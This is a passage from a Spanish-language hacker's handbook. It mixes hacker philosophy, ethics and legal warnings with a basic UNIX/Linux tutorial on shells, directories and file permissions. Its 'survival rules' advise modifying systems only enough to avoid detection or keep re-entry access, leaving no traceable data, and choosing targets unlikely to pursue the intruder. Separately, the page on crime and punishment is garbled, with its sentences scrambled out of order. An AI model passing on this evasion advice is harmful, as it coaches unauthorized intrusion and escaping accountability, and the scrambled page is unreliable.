en triunfalismos baratos. El concepto total sobre la manera de convertirte en hacker es a través del estudio y la dedicación. Debes acumular toda la información que puedas. Aprovecha al mejor maestro posible que encuentres. Estudia y comprende todo lo que llegue a tus manos y te sirva para ampliar tus conocimientos. Es tu deber sacar partido del conocimiento adquirido y hacer buen uso de él. Un último consejo. Dirígete de vez en cuando afuera y haz comunión con la naturaleza. No solo hay belleza en los interruptores y el baudio. Escucha también a los árboles, al viento y a la fuerte corriente del agua del río, pues ese también es el mundo de los hackers.

15

Filosofía
El hacker no nace siendo hacker, se forma a sí mismo con la curiosidad bajo el brazo. No es una actitud que se aprenda rápidamente. Un hacker hace acopio de los conocimientos, material, herramientas a su alcence y con su habilidad para usarlos en su provecho, estudia, aprende, aplica y crea. Nunca se queda estancado en lo que ya sabe, sino que desea seguir en búsqueda de mejores y mayores conocimientos. Regularmente nunca se queda con lo aprendido, lo publica y comparte con los demás. El Oficio es en sí mismo una filosofía y una habilidad. La información acerca del hacking está dispersa por todo el Internet. Es confusa, la mayor parte de las veces es obsoleta, incompleta, mal redactada, con tecnicismos (material para gurúes7 le dicen) y en inglés. Mucha información es falsa también. De hecho, los datos en este documento se harán viejos en dos años. De cualquier modo, la filosofía de la enseñanza hacker es análoga a transmitir a un aprendiz los conocimientos para el desarrollo de La Fuerza. De la misma manera, bajo esta premisa podemos deducir que, al igual que con los Jedi y los Sith, existen hackers buenos, los iluminados; y los hackers que solo buscan el beneficio personal, la venganza, la riqueza fácil y el hacer daño. Son éstos últimos quienes estan en el lado oscuro. No existe tal cosa como “Aprenda a ser un hacker” o “Hacking para dummies”. Eso, además de ser pretencioso, es falso. Claro que existen guías y tutoriales en internet, pero ninguno posee valor por sí mismo en virtud de que los datos que proveen dan por sentado conocimientos que la persona que busca información no posee. Ninguna persona puede pretender intentar utilizar un programa para controlar sistemas remotos cuando desconoce el protocolo TCP/IP. Ni pensar en instalar un troyano en una computadora ajena cuando no se comprende cabalmente la filosofía cliente-servidor. Al igual que con los Jedis, el ser hacker implica mucho entrenamiento, horas de estudio y, aún cuando lo logras, dijo Qui Gon Jinn, es un camino de trabajo duro y lleno de penurias. Implica ser un experto en lo que haces. Son interminables horas de recopilación de información y aprendizaje mezclados con habilidades innatas que nadie puede enseñar, si no adquirir. Una cualidad del hacker es que no se conforma con lo que existe, ya que el conformismo empobrece el espiritu del emprendedor. El Oficio Al iniciarse en el Sendero del hacker, que llamaremos el Oficio, los verdaderos artífices siguen el conocido aforisma de los médicos “Primum Non Nocere”, primero está el no dañar. Ésa es la primera regla de supervivencia del hacker. Todos los especuladores de Wall Street saben que la información -y por ende, el conocimiento- es poder y es bien cierto que un hacker puede hacer mal uso de la información recibida. Es muy tentador y atrayente, pero los hackers más avispados saben que actuar maliciosamente puede desembocar en situaciones ilegales que captarán rápidamente la atención de las fuerzas de la ley. Solo los aprendices más mezquinos buscan la dulzura del lado oscuro buscando el beneficio personal, la diversión insana o para saciar una inmadura sed de venganza. Lo que caracteriza a las personas que presumen de poder penetrar sistemas como si de jovencitas virginales se tratara, es básicamente su paciencia, su poder de observación, su pericia a la hora de recopilar y clasificar la información, su capacidad de deducción, de analisis y de resolución de problemas. Los hackers verdaderos dividen los problemas en otros más pequeños que se irán resolviendo para poder llegar a la meta deseada. 7Guru (gurú) Persona a la que se considera como el sumo manantial de sabiduría sobre un determinado tema. 

16

Ética del Hacker Lo ideal en un hacker que ha descubierto algún tipo de vulnerabilidad, digamos por ejemplo en una página web corporativa, es no descargar ningún dato comprometedor, ni archivos en ningun tipo de formato, no imprimir pantallas, no copiar bases de datos indexados; vamos, ni siquiera anotar nada en un papel. Un hacker con cierta carga ética explicaría de manera anónima y desde una compuadora en un cibercafé, nunca de la suya propia, a la empresa u organismo que el error descubierto da acceso a los datos a cualquier persona. Esto se hace asegurándose que el mensaje llega a la persona adecuada. Ahora bien, sI no hacen caso, puede llamarse por teléfono público al departamento técnico o de informática de la empresa para hacerles saber el riesgo que sufren. Si pasado algún tiempo hacen caso omiso de los mensajes, puedes publicar la vulnerabilidad en algún foro dando los detalles del fallo, de manera que otros puedan verificar el error y procedan de igual forma. Estereotipo del Hacker La palabra hacker se ha desvirtuado a lo largo de muchos años. En realidad significa más que un “pirata informático” o de lo que la documentación en los medios noticiosos nos ha hecho creer. Un hacker es un experto porque su curiosidad personal lo ha llevado a ese nivel. Sabe que puede sacar provecho de aquello sobre lo que tiene poder y controla. Posee una jerarquía elevada y sabe medirse. Últimamente se ha utilizado el término experto en seguridad informática como sinónimo de hacker y así es en realidad. Pirata informático es un adjetivo peyorativo con el que ningún hacker quiere verse relacionado. Existen muchas descripciones y estereotipos en base a lo que la gente percibe como hacker. Desde el adolescente lleno de espinillas, oculto en su cuarto o sotano, que se la pasa frente a la computadora en cuyo monitor se ven letras blancas sobre fondo negro hasta el moderno terrorista cibernético, bien peinado y que siempre porta a todas partes una laptop, la palabra hacker se ha adoptado por cada persona que la ha querido usar. A muchos hackers los tachan de geeks8, pero no todos los verdaderos geeks llegan al rango de hackers. Aunque gustan de las computadoras, los geeks abundan más en el área electrónica. Lo mismo sucede con los nerds, un hacker no es un inadaptado de gran inteligencia. A muchos nerds no les interesa para nada el área informática, aunque otras ciencias son sus predilectas, como la química, la biología y las matemáticas. La realidad es que la imagen del hacker está muy alejado de las fantasías del populacho. Según menciona Eric Steven Raymond, los hackers son personas inteligentes, intensos, muchas veces abstraídos e intelectualmente abiertos. Siempre se interesan por cualquier cosa que les pueda proporcionar estimulación mental y es común que se interesen por el hacking donde se desenvuelven fácilmente. Les agrada tener el control sobre las computadoras o las telecomunicaciones y son estos elementos los objetos sobre los que se apasionan porque son instrumentos de lo interesante y sobre los que aplican sus propias ideas y no las de otros. Muchos hackers verdaderos prefieren el desafío del conocimiento a una recompensa monetaria por un trabajo. De cualquier manera, los más inteligentes terminan por dedidirse a poner su propia empresa o son contratados por compañías que pretenden aprovechar sus conocimientos.

8Persona que siente un entusiasmo ilimitado por la tecnología en general y por la Informática e Internet en particular. 

17

Reglas De Supervivencia Del Hacker
I. Nunca dañar intencionadamente ningún sistema. Lo único que conseguirás es atraerte los problemas y nadie quiere traer cola que le pisen. II. Modificar sólo lo estrictamente necesario para entrar y evitar ser detectado, o para poder acceder al sistema en otras ocasiones. III. No hackear buscando venganza ni por intereses personales. IV. No hackear sistemas de gente que no tenga muchos recursos monetarios. Muchos han trabajado duramente para comprarse una computadora como para que venga un chico listo y les tumbe el sistema. Para ellos es difícil reponerse de un ataque fuerte. V. No ataques sistemas de organismos poderosos o de empresas que sí puedan darse el lujo de gastar dinero y recursos en buscarte. VI. Puedes odiar a tu compañía proveedora de Internet, pero nunca tratar de fastidiarla. VII.No hackees dependencias del gobierno. Si alguien tiene los recursos ilimitados para cazarte, son ellos y lo harán. Esto es a diferencia de una compañía que tiene que lograr una ganancia, pagarle a sus empleados y justificar sus gastos. Hay que recordar simplemente que la policía trabaja para ellos. VIII.No confíes en nadie las hazañas perpretadas. Hubo hackers que fueron atrapados por haber confiado en sus boquiflojas novias. Sé cuidadoso con quién compartes información. Las dependencias gubernamentales que persiguen crímenes informáticos se están poniendo más mañosas. Hay que ser cauteloso. IX. Cuando charles en Foros o Chats, debes ser lo más discreto posible ya que todo lo que escribas quedará registrado (incluyendo tu dirección IP). La mayoría de los hackers realmente geniales jamás anuncian nada acerca del sistema en el que están trabajando actualmente sino es en el sentido más amplio ("estoy dedicándome a un UNIX", "Estoy trabajando en un COSMOS"), o algo genérico. Nunca dicen "Estoy entrando al sistema de Correo de Voz de Soriana Hypermart" o algo tan absurdo y revelador como eso.) X. No Dejes tu nombre real (o el de ningún otro), tu nombre de usuario verdadero o tu propio número de teléfono en ningún sistema al que hayas accedido de manera poco legal. XI. Sé paranóico. La característica más notable en los hackers es la paranoia. Nunca digas que eres un hacker. No duele almacenar todo oculto criptográficamente en tu disco duro, o mantener tus anotaciones sepultadas en el patio trasero de tu casa o en la cajuela del coche. Es posible que te sientas un poco ridículo, es cierto, pero más ridículo te sentirás cuando conozcas a Pancho Marancho, tu compañero de celda psicópata que eliminó a hachazos a su familia porque le recriminaron que gastaba más en cerveza que en comida. XII.No hay que dejar datos que se puedan rastrear hasta ti o relacionarse contigo (efecto Hansel y Gretel). XIII.Hay que estudiar mucho. El error de los novatos es querer hacer las cosas avanzadas de modo inmediato. Bien dicen que antes de correr hay que aprender a caminar primero. Esto tiene mucho de verdad. XIV.Debes actualizarte constantemente en virtud de que el mundo de la informática siempre avanza. Igual que los médicos que deben estar al día con la nueva información, los hackers, incluso los de rango élite, también deben aprender sobre los nuevos sistemas que van apariciendo en el universo donde se desenvuelven. XV.No temas hacer preguntas. Para eso están los hackers más experimentados. Sin embargo, no esperes que todo lo que preguntes sea contestado. Hay algunas cosas con las que un hacker incipiente como tú no debería involucrarse. Lo que lograrás es ser atrapado y echarás todo a perder para los demás o ambas cosas. XVI.Finalmente, tienes que ejercer el Oficio por tu cuenta. Podrás frecuentar los Bulletin Boards todas las veces que se te antoje, podrás leer todos los archivos de texto en el mundo, pero no será hasta que realmente comiences a hacerlo que sabrás de qué trata todo esto. No hay emoción mayor que la de introducirse en tu primer sistema (está bien, puedo pensar en un par de emociones mayores, pero tú me entiendes.)

18

mayor conocimiento y por ende. aún con todo y la ética que uno pueda poseer. Nada más que la verdad. Punto. independientemente de su procedencia. Todos recordamos al pseudo-hacker londinense atrapado por la policía en agosto de 2008 por ingresar al sistema de la NASA. El crimen es haber irrumpido en esa casa sin permiso y es un delito de allanamiento de morada. Captar la información. es entonces cuando comienza una carrera en espiral y sin fin hacia el delito. Los criminales que han tenido un ponderado éxito en sus andanzas se vuelven descuidados porque el exceso de confianza les nubla la cabeza con ideas locas y efectúan acciones cada vez más temerarias y van dejando huellas detrás de ellos. Pero cuando ese poder se desborda y se vuelve imposible para una persona ponderar las acciones basadas en ese poder. nos creemos más inteligentes que los demás y continuamos cometiendo una y otra vez los actos delictivos. Empieza un círculo vicioso del cual difícilmente se puede salir uno. La información permite el conocimiento y las habilidades propias para usar esos conocimientos son los que dan forma al Oficio del hacker. Un dicho reza “Los criminales caen cuando se vuelven codiciosos”. En estos días modernos donde ya nadie sabe en dónde está la línea que divide lo bueno de lo malo ni lo correcto y lo incorrecto. Mientras más fácil sea cometer un crimen. A mayor información. basándose en una de las leyes de Newton: Toda acción es correspondida por una reacción igual y opuesta. ya sea una computadora encendida en un cuarto u oficina y sin bloqueo alguno. Pero siempre hay alguien más listo que nosotros y ahí es cuando nuestra carrera termina. más piensa uno que nunca nos van a atrapar. Nos convertimos en malhechores. sin autorización del propietario tiene el mismo peso legal que entrar a una casa que no es nuestra. Acción y consecuencia. antes de comenzar. Todos los días. Sobre todo cuando el delito cometido nos proporciona beneficios financieros. Y es cierto. Hay que dejarlo bien claro y metérnoslo a la cabeza. Dificilmente encontraremos un país donde los jueces sean indulgentes con hackers maliciosos que roban información para beneficio propio o de terceros. 19 . Una de las reglas de los hackers es “nunca entrar a un sistema que pertenezca a una entidad que posea los suficientes recursos físicos y monetarios para perseguir al infractor y sacarlo de la circulación por algunos años”. la intrusión a sistemas ajenos es infringir la ley. provocando miles de dólares en pérdidas a quienes muerden su anzuelo. muchísimos especuladores en Wall Street ganan miles y miles de dólares simplemente manipulando a su antojo la información. Cualquier experto en cualesquier materia sabe que la información es poder y lo peligroso que puede llegar a ser el hacer mal uso de la información que se adquiere sin importar el medio por el que ésta se reciba. analizarla y ponerla en acción es nuestra tarea. No importa que se hayan quedado las ventanas abiertas o que el cerrojo de la puerta no estuviera puesto. los delitos cibernéticos están siendo tipificados como ilegales y acreedores a penas carcelarias en varios países del mundo. No interesa que solo hayamos entrado y salido sin tocar nada de valor. Crímen y Castigo Es importante saber que entrar a un sistema informático ajeno. A veces. personaje de la trilogía Matrix. No puede existir una acción sin una consecuencia que pagar y esto también es cierto en materia de conocimiento hacker.Hackers y Delito Como dijo el Merovingio. mayor poder.

Siempre se puede montar una pequeña red casera bonita y barata. de las de procesador 486 que se puede usar como “caja de arena” para hacer pruebas inofensivas. Existe en Internet mucha información detallada acerca de la instalación de redes pequeñas caseras que nos pueden ayudar. Obligaciones de las entidades Toda entidad oficial o comercial tiene la responsabilidad y la obligación moral de proteger los datos confidenciales de sus abonados. Aquí no hay cabida para la negligencia. Trabajo en casa Para obtener conocimientos lo básico es experimentar y se debe hacer en sistemas propios y no en ajenos. 20 . se le impone al infractor un castigo que puede ir de uno a cinco años. suscriptores o clientes por todos los medios posibles. la simple denuncia de un ataque o intrusión basta para buscar. Lo más básico es colocar una computadora viejita.Penas Las penas pueden variar según la modalidad y gravedad del delito y ser diferentes según el país donde se originó el ataque. Deben evitarse fiascos y escándalos como el de la revelación de datos de búsqueda por parte de AOL en agosto de 2006. Hay que recordar también que la ley no contempla el “es la primera vez que lo hago”. Existen penas que tras girar el auto de formal prisión. Ya visto lo que a uno le espera. ni violamos ninguna ley. De esta manera no hacemos daño a nadie. De hecho. más el hecho de que se le emitirá una orden de restricción y no podrá acercarse a las inmediaciones de una computadora o dispositivo análogo por un largo tiempo. En esta computadora se puede instalar el software que se quiere examinar y se accede a ella a través de una computadora personal más potente. se persiga de oficio. la mayoría de los ejercicios presentados en este documento fácilmente pueden ser practicados del modo mencionado. enjuiciar y encarcelar al valiente tras el monitor y el teclado. de manera que por un lado se aprenda a descubrir fallos de seguridad y por el otro configurar y resolver los problemas de manera rápida y eficaz. por ejemplo en México. Aunque no es algo que. De este modo es como hay que trabajar en procesos de prueba y error. hay que evitar andar por ahí intentando explotar vulnerabilidades o aprovechándose de datos obtenidos de manera fraudulenta.

SEGUNDA PARTE Aprendiendo el Oficio 21 .

2. a parte de ir disminuyendo el desempeño de dispositivos como el disco duro. hay que tener en mente que nunca debe apagarse una máquina con UNIX.Unas Palabras Sobre UNIX y Linux Durante todo este documento haremos mención a UNIX como el supremo sistema operativo del planeta. esta aseveración no carece de verdad y no hay hacker en el mundo que no sepa usarlo. Multiusuario: Más de una persona puede usar la máquina al mismo tiempo.. manejar los dispositivos de Entrada/Salida. punto. Los distintos programas que se ejecutan en un entorno UNIX obtienen servicios del Kernel mediante comandos de bajo nivel llamados SYSTEM CALLS. 22 . se utiliza el disco duro (swap). Multitarea (Multitasking): Cada programa con su propia “idea” de la memoria. Si dos programas escriben en la misma dirección de memoria.El shell es el intérprete de comandos y es generalmente con quién interactúan los usuarios. Es el responsable de controlar el hardware y de asignar los diferentes recursos a los procesos. 3. es quién controla la computadora y hace que los recursos de la misma estén disponibles a los procesos de los usuarios. Casi todo tipo de dispositivo puede ser accedido como un archivo. Programas de otros usuarios continúan ejecutándose a pesar de haber entrado en la máquina. asignar recursos del sistema. también llamado núcleo. en caso de falta de memoria de RAM.Utilidades y aplicaciones.. Es imposible que un programa afecte a otro sin usar los servicios del sistema operativo. Arquitectura La arquitectura del UNIX consiste en tres diferentes capas: 1. El sistema solo asigna memoria auténtica cuando le hace falta. Para hablar de UNIX no nos vamos a detener en contar su historia.. etc. soportar comunicaciones. Existen muchas utilidades diseñadas para que la salida de una pueda ser la entrada de la otra. asignar mecanismos de protección. aunque con ciertas excepciones. sino de algunas de las características importantes que lo han hecho el sistema operativo más completo y estable. pero que puede leerse en la Wikipedia. Para convertirse en un hacker élite hay que aprender a usar UNIX. mantener la estructura dearchivos. Las características fundamentales del UNIX moderno son: Memoria Virtual: Memoria grande y lineal: Un programa en una máquina de 32 Bits puede acceder y usar direcciones de un rango de 4GB en un máquina de solo 4MB de RAM. Entre las diferentes tareas funcionales del Kernel están: controlar el hardware. ya que una máquina apagada sin razón puede provocar la pérdida de trabajos de días. Permite compartir dispositivos (como disco duro) entre una red de máquinas. Muchos de los conceptos utilizados aquí se pueden aplicar al entorno Linux.El kernel es el corazón del sistema operativo. cada uno mantiene su propia idea de su contenido. El Kernel El kernel. desaparecer los últimos cambios de los archivos. que es muy interesante. En virtud de su naturaleza multiusuario.

do.El Shell El shell o intérprete de comandos es el encargado de interactuar con el usuario y ejecutar los distintos comandos solicitados por este. Manejo de Procesos Los procesos son manejados por el Kernel.) y permite la programación de la ejecución de los comandos. Al principio se puede ver que la pantalla se parece mucho a la que muestra el DOS. La prioridad de cada proceso puede ser gestionada asignándole una mayor o menor prioridad dependiendo de la relevancia del proceso. UNIX. En Linux. El prompt Una vez que se ha hecho el login. Existen diferentes intérpretes de comandos dentro del UNIX. Login Para entrar. Este va asignando a cada proceso una cierta cantidad de tiempo de CPU (time slice). Es totalmente compatible con el Boume Shell. entre otras. el sistema mostrará el mensaje de bienvenida e inmediatamente hará su aparición el prompt del intérprete de comandos (que también conocemos como terminal. pero incorpora. Además el usuario puede variar el prompt de acuerdo a su preferencias o necesidades. los caracteres de que se compone el password nunca son desplegados en la pantalla. Este prompt es diferente de acuerdo a cada shell o a cada tipo de usuario. a diferencia de del DOS. Sólo permite la ejecución de un limitado número de operaciones en el sistema y está diseñado para manejar más eficientemente la seguridad. que incluye un conjunto completo de estructuras de control (if. Korn Shell (ksh) : nuevo intérprete de comandos. Restricted Shell (rsh) : versión restringida del Boume Shell. Provee mecanismos adicionales para guardar historia de comandos. Sus características principales son: entomo de ejecución configurable. shell o consola de comandos). Job Sheli (dsh) : es una versión ampliada del Boume Shell. permite guardar la salida de un comando a un archivo o utilizar un archivo como entrada de un comando. pero tiene mayor flexibilidad para su uso interactivo. redirección de entrada/salida. los comandos que se teclean para ser enviados al kernel del sistema son diferentes. A cada entrada al sistema se le conoce con el nombre de sesión de usuario. etc. C-Shell (csh) : es similar al Bourne. reejecución y sustitución de comandos. Restricted Korn Sheli (rksh) : versión restringida del Kom Shell. que permite crear y modificar comandos. UNIX da más control del sistema al usuario. Restricted C-Shell (rcsh) : versión restringida del C-Shell. e inclusive de Winxx. while. lenguaje de comandos de alto nivel. 23 . el shell muestra un prompt para indicar que está listo para ejecutar un comando. a excepción de los caracteres normales que tecleamos en otra parte que no sea el sistema de login. flujo flexible de datos. cada uno orientado a diferente tipo de uso o usuario: Bourne Shell (sh) : es el estándar y tiene gran facilidad de uso sobre todo para programación. se presenta en la pantalla el mensaje de login. prompts y otras utilidades. que incluye facilidades para control de trabajos en background. que facilita usar la salida de un comando como entrada de otro. se está convirtiendo en el nuevo estándar. Estro es una reminisencia del login de UNIX. sin embargo. principalmente si vamos a utilizar el modo Super Usuario (root) en una terminal. Debemos introducir nuestro nombre de usuario y el password. luego lo suspende y permite a otro proceso la utilización de la CPU. Una vez que se introdujo el nombre de la cuenta y la contraseña. facilidades del C-Shell y control de trabajos en background.

De este modo termina nuestra sesión UNIX. Es en esta zona donde se pueden encontrar cosas como Información relacionada con alguna aplicación (en forma de páginas de manual. suelen estar en modo texto. fecha de creación. /usr/bin – Binarios (ejecutables) básicos de UNIX. etc. Almacenamiento de Archivos Los sistemas de archivos que son comunes a todas las máquinas son usualmente: /home – Espacio reservado para las cuentas de usuarios /bin. Asociado a cada entrada en esta tabla está el nombre del archivo. archivos Postscript). teclado y ratón. identificación del dueño. los datos se encuentran en archivos que contienen información. Aunque al comenzar la sesión. pero son manejados internamente de muy diferente manera. UNIX no distingue especialmente a estos archivos entre sí. pudiendo uno a su vez generar una estructura por debajo de ese punto. se puede trabajar en modo gráfico. /usr/local – Zona con las aplicaciones no comunes a todos los sistemas UNIX. Por ejemplo. salvo por el uso que se le vaya a dar. etc. Archivos Especiales: identifican dispositivos de hardware y drivers de software. archivos de texto. bases de datos. Directorios: los directorios son archivos que contienen la tabla de contenido o lista de los archivos de un Filesystem de UNIX.Los prompts más usuales son: $ (usuario normal con Bourne Shell o Kom Shell) % (usuario normal con C-Shell) # (para super usuario root con cualquiera de los intérpretes de comandos) Logout Para salir del sistema es necesario dar logout. Archivos En un sistema computacional. Para organizar toda la información se dispone de una entidad denominada directorio. tutoriales. debido a que todos los directorios nacen en un mismo punto (que llamamos directorio raíz). texto o bien. una vez iniciada ésta. tras compilar el NetCat. De hecho la zona donde uno trabaja es un nodo de esa estructura de directorios. Organización de archivos Tipos de archivos: UNIX tiene tres tipos diferentes de archivos (mas algunos otros que no son de tan clara identificación). En este modo se pueden emplear ventanas que emulan el comportamiento de un terminal de texto. Este depende también del shell que se está usando. 24 . bibliotecas de programas objeto. Se dice que la estructura de directorios en UNIX es jerárquica o en forma de árbol. permisos de acceso. Cada uno de ellos son nombrados de acuerdo a la misma convención. En C-Sheli normalmente se introduce logout o exit. etc. su binario ejecutable se coloca ahí manualmente y desde cualquier directorio en que estemos. El de tipo gráfico consta de pantalla gráfica. Dentro de ellos podemos encontrar programas ejecutables. Es tan importante el logout porque si olvidamos cerrar la sesión. archivos de ejemplo. Dicha pantalla suele ser de alta resolución y a menudo en color. tamaño. Si se utiliza Boume Shell o Kom Shell se deben pulsar al mismo tiempo las teclas <Ctrl>+<D> o simplemente teclear el comando exit. cualquier persona puede tener acceso a nuestros archivos y hacer modificaciones indeseables. pero no por ello menos utilizadas. que permite el almacenamiento en su interior tanto de archivos como de otros directorios. Las terminales pueden ser solo de texto o de tipo gráfico. simplemente abrimos una terminal (en Linux debemos hacerlo con privilegios de administrador root) y teclemos el nombre del binario: nc. Los distintos tipos son: Archivos regulares: son aquellos archivos comunes donde se guarda la información. El directorio /usr/bin es el lugar a donde van los archivos binarios compilados para que sean invocados desde cualquier parte del shell.

se recomienda agrupar los diferentes tipos de archivo en directorios distintos (por ejemplo los programas fuentes en uno. Si bien esto no es obligatorio." (punto punto).. Los caracteres comodín pueden ser empleados para acceder a un conjunto de archivos con características comunes. Siguiendo con el ejemplo anterior. El directorio HOME: cada usuario tiene un "home directory" (o directorio de inicio) que es el directorio donde el sistema lo posiciona cuando hace el login. Cada vez que se crea un directorio. datos/paises es equivalente a . Es el administrador del sistema quien define al dar de alta a un nuevo usuario cuál va a ser su home directory. Este camino es conocido como el PATH. Los directorios "home" de los usuarios están generalmente localizados bajo el directorio /u o /usr. tal y como se hace en el DOS siempre teniendo en cuenta que UNIX no es DOS. es una práctica extendida." (punto) y ". El signo de asterisco “*” puede sustituir cualquier conjunto de caracteres. Estructura típica de directorios en UNIX Si bien no hay una estructura de directorios fija en UNIX. y el signo “?” para indicar cualquier carácter individual. Aunque no hay reglas a este respecto. El acceso a un archivo se puede realizar empleando: Path Absoluto: Aquel que empieza con "/". /bin... De este modo. incluído el “. Hay que comentar que es necesario que el nombre del directorio home sea igual o contenga el nombre del login del usuario." es el nombre del directorio inmediatamente superior.” (punto). Hay determinados directorios que siempre existen y son utilizados por los distintos comandos para buscar información necesaria para su ejecución. El ". /usr/lib y /usr/bin. Un directorio es una lista de archivos.cir Los nombres de archivos y directorios pueden emplear hasta un máximo de 255 caracteres. cualquier combinación de letras y símbolos (sin embargo./progs/program. Hay que advertir que UNIX distingue entre letras mayúsculas y minúsculas (lo que se conoce en inglés como case sensitive) de tal forma que un archivo llamado gerryson es distinto que uno llamado GerrYsOn. Los directorios son manejados por comandos especiales. Estos son: /etc. El ". por ejemplo : examples/rc. entonces . /lib." es el nombre del propio directorio. Las reglas para el nombrado de los directorios son las mismas que para archivos. Directorios La forma de organizar archivos en UNIX es por medio de directorios. los ejecutables en otro. a efectos de tener la información bien organizada y en forma clara. el caracter "/" no se permite). donde cada uno de ellos tiene un nombre único. en general en todos los sistemas se conserva una estructura típica y muy semejante una parte. /dev. por ejemplo : /etc/printcap Path Relativo: Aquel que NO empieza con "/".c se refiere al archivo que tiene como path absoluto /ulusrl/progs/program.Un archivo se encuentra situado siempre en un directorio y su acceso se realiza empleando el camino que conduce a él en el árbol de Directorios del Sistema. Los directorios se utilizan para clasificar los archivos de acuerdo a diferentes tipos o categorías./datos/paises. los datos en un tercer directorio y así por el estilo).c. automáticamente se le incluyen estos dos. Dot Directories Cada directorio tiene asociado dos nombres especiales llamados ". 25 . si el directorio de trabajo es /u/usrl/datos. tomando el ejemplo anterior. Un directorio puede contener otros directorios.

root es "el que todo lo puede". pasamos a ser un usuario normal. podemos hacer que el usuario dueño puede leer. tediosa y sin sentido sea esta contraseña. Estos permisos dicen. cada elemento del sistema de archivos tiene un dueño. siente el poder bajo tus teclas. escribir. Este usuario -por defecto. Un simple error podría colapsar todo el sistema y los preciados datos y configuraciones que tengamos en él. o inclusive si puede borrarlo o modificarlo. Cuanto más larga. y por último para el resto de los usuarios del sistema.puede leer en el resto de las carpetas que hay en el sistema de archivos excepto en la de root y las de otros usuarios. Cuando se hace un login como root en una máquina GNU/Linux. si puede ver su contenido. Si se cree que la han podido adivinar o están cerca. Además nunca usaremos Internet como root. Incluso algunos programas no permiten ser ejecutados por root por motivos de seguridad. Podemos hacer todo lo que nos pase por la cabeza. y lo mismo ocurre con la carpeta de root (que se encuentra en la raíz. Un archivo tiene distintos niveles de permisos: lectura. Los de la carpeta personal de cada usuario tienen a ese usuario como propietario. Todos los programas recuerdan las preferencias de cada usuario. Ningún otro usuario (excepto root) puede acceder a los archivos que hay en este directorio. el todopoderoso. Como ya se habrá adivinado. y por supuesto se preocupa uno de que nadie pueda acceder a ella en ningún archivo o de que no la ven cuando la escribimos. e incluso un usuario puede instalar un programa sin que los otros usuarios tengan acceso a él. Por esto. Una anotación a parte es que cuando se utiliza un Live CD. Todos los archivos de las carpetas de sistema y configuración suelen tener a root como propietario. es el superusuario de estos sistemas. Por defecto. en /root). este dueño del elemento (tanto directorio como archivo) tiene acceso total a él y puede realizar todas las acciones posibles permitidas. Es la excepción que confirma la regla. escritura y ejecución. Cada usuario generalmente tiene su carpeta de usuario en /home/usuario. Pero cuidado: una equivocación sería fatal. hacemos uso del sistema como root. y que el resto de usuarios del sistema no tengan ningún privilegio sobre él. 26 . pero el resto de usuarios normales no tienen ningún permiso sobre estos elementos. permiten obtener dos cosas: un sistema multiusuario. Tenemos acceso a todo el sistema. para cada usuario del sistema. Usuario root En cualquier sistema UNIX. Por defecto sólo puede escribir. Así. y ejecutar un archivo. que el grupo dueño solo pueda leerlo. más seguro estará nuestro sistema.Los Usuarios UNIX y Linux son sistemas operativos multiusuario. para los usuarios pertenecientes al grupo dueño. Los permisos sobre un archivo (o directorio) pueden ser distintos para el usuario dueño. modificar y borrar archivos dentro de esta carpeta. y un sistema seguro. si puede ejecutarlo. ni siquiera puede ver cuáles son. pero solo es en esta modalidad. Una buena asignación de dueños de elementos junto con una política adecuada de permisos sobre estos elementos. El resto de usuarios pueden leer y ejecutar este elemento por defecto aunque todo esto se puede cambiar para cada uno de los elementos. Del mismo modo. se cambia. por ejemplo. Permisos y Privilegios Todos y cada uno de los archivos y directorios del árbol jerárquico que monta nuestro sistema Linux tienen permisos o privilegios. Un usuario no puede causar por este motivo daño al sistema ni cambiar su configuración de ninguna forma. para tareas normales siempre entraremos al sistema como un usuario normal por los riesgos que se corren trabajando como root. para probar las características de una distribución Linux antes de instalarlo en el sistema. la contraseña de root se la guarda uno en la cabeza y se asegura que no se le olvida. aunque instalando los usuarios tienen muchas limitaciones como veremos después. ya que siendo instalado el sistema en nuestro disco duro.

y la x indica que se tienen permisos de ejecución (Execute) sobre el elemento. veamos algún ejemplo del listado anterior: -rwxr-xr-x 1 root root 2872 Jun 24 2002 arch Es un archivo porque su primer caracter es un guión. indican: la r y la x para el caso de un directorio difícilmente se entienden separadas. El grupo root sólo lo puede leer y ejecutar. 27 . A continuación hay tres grupos. que es de nivel inferior. un directorio llamado superior/ y dentro de éste tenemos un directorio llamado personal/. este usuario debe poseer como mínimo permisos r-x en el de nivel superior. también sólo pueden leerlo y ejecutarlo. Este caracter es una d si el elemento listado es un directorio. drwxr-xr-x 17 gerry gerry 1040 2008-12-26 09:29 . para poder acceder a él y escribir. Lo más común es que los directorios que deban poder ser "examinados" por todos los usuarios tengan permisos r-x en el tercer grupo de permisos. esto quiere decir que puede leer el archivo arch. en superior/. El primero es de un caracter solamente. y su grupo dueño es el grupo root también. y un guión . El primero de estos grupos indica los permisos que tiene sobre el elemento listado su usuario dueño. Son necesarias para que un usuario pueda "examinar" ese directorio. Cada uno de estos grupos tiene tres letras. Por otra parte. ver lo que tiene y navegar por él. esto es.doc Si observamos el campo de más a la izquierda del listado. En la sección de comandos veremos como asignar los permisos con el comando chmod. La w indica que se tienen permisos de escritura (write) sobre el elemento. esto es absolutamente lógico: ¿cómo va a poder escribir un usuario en un directorio si no puede llegar hasta él? Esto mismo también se aplica para la lectura. aunque sí podrán hacerlo dentro de un directorio de nivel inferior en el que sí tengan permisos de escritura. En el caso de un archivo o un enlace.. Un guión sustituyendo a cualquiera de estas letras indica que no se tiene el permiso al que está sustituyendo. una l si el elemento es un enlace. Por ejemplo.txt -rwxr-xr-x 1 gerry gerry 121344 1926-01-25 07:52 LINUX-UNIX-01. y que un usuario tienen permisos de escritura en este segundo directorio. Su usuario dueño es root. la r en cualquiera de estos "grupos" indica que se tienen permisos de lectura (read) sobre el elemento. -rwxr-xr-x 1 gerry gerry 4912 1926-01-17 07:51 Linux CD Live.doc -rwxr-xr-x 1 gerry gerry 35328 1926-01-23 00:06 Shell Scripts. pudiendo ser estas rwx o pudiendo ser sustituidas en algún caso por un guión. por ejemplo. Los permisos rwx para un directorio. el segundo grupo indica los permisos que tienen sobre el elemento los usuarios que pertenezcan al grupo dueño. El caso de los directorios es un poco distinto. el servidor web no podrá servir un directorio a la Internet si no dispone de permisos r-x para los directorios superiores a él. Consideremos si tenemos. La w indica que el usuario que posea este permiso puede colocar nuevos archivos en este directorio. escribir en él y ejecutarlo. y el tercer grupo indica los permisos que tienen sobre el elemento el resto de usuarios del sistema. Así. así como también borrarlo.si el elemento es un archivo normal. Pero con estos permisos no podrán colocar nada dentro de ese directorio. root tiene todos los permisos sobre él: rwx. y el resto de usuarios del sistema.Si usamos el comando ls -la en un directorio que tenga algunas cosas veremos algo como: gerry@Orianna:~$ ls -la Documents/Linux 